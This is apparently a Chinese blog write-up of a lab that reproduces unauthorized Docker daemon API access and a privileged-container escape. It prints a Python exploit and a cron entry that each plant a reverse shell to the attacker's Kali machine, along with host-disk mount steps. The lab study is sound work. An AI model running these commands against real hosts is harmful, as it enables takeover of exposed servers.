前言

最近在看到各种平台都有关于docker逃逸的文章,一直都挺好奇的,二进制的学习也卡住了,刚好研究一下其他的东西。

漏洞环境

1.Ubuntu:192.168.192.128

2.Kali:192.168.192.129

3.Vulhub漏洞靶机:https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md

漏洞详情

docker daemon api 未授权访问漏洞

漏洞复现

利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

1
2
3
4
import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

正文

vulhub环境搭建在Ubuntu中,进入目录

1
root@ubuntu:/# cd /vulhub/docker/unauthorized-rce/

编译及启动漏洞环境:

1
2
docker-compose build
docker-compose up -d

环境启动后,将监听2375端口.

访问url查看编译成功

查看docker容器ID,接着进入docker容器内部,这个环境用/bin/bash不行,得输入/bin/sh

修改虚拟机的docker源,否则有可能500报错

1
2
3
4
5
6
mkdir -p /etc/docker
tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://l10nt4hq.mirror.aliyuncs.com"]
}
EOF

配置完毕后,在Kali中使用EXP进行shell 反弹

到现在漏洞复现完毕了,但是和一开始目的docker逃逸好像没多大关联。

nc反弹以后,由于内网知识的欠缺,所以也不知道怎么进入/bash 状态。


换一种方法

由于主机端口2375是可以未授权访问,在kali主机中安装docker环境

1
2
apt-get install docker docker-compose
service docker start

docker 有远程连接命令,由于2375端口暴露,可未授权访问,所以现在可以通过远程方式连接doker

1
2
docker -H tcp://192.168.198.128:2375 ps
docker -H tcp://192.168.198.128:2375 images

docker执行,靶机上没有做认证机制。

Docker 高危启动参数 — privileged 特权模式启动容器

在kali中启动一个有交互的shell,并且是特权镜像

当操作者执行docker run —privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

1
docker -H tcp://192.168.198.128:2375 run -it --privileged ubuntu /bin/bash

进入容器后,使用fdisk -l命令查看磁盘文件

在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

type信息中可以判断出,/dev/sda5是主分区

新建一个目录:mkdir /test

挂在磁盘到新建目录:mount /dev/sda5 /test

进入目录:cd test/

新建文件:touch text.txt

此时已经逃逸成功,在目录下也成功新建了一个test.txt的文件


到Ubuntu靶机中查看,在根目录下,有成功新建的test.txt文件

最后就可以反弹主机shell

1
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.198.129/1234 0>&1' >> /test/var/spool/cron/crontabs/root


结尾

参考资料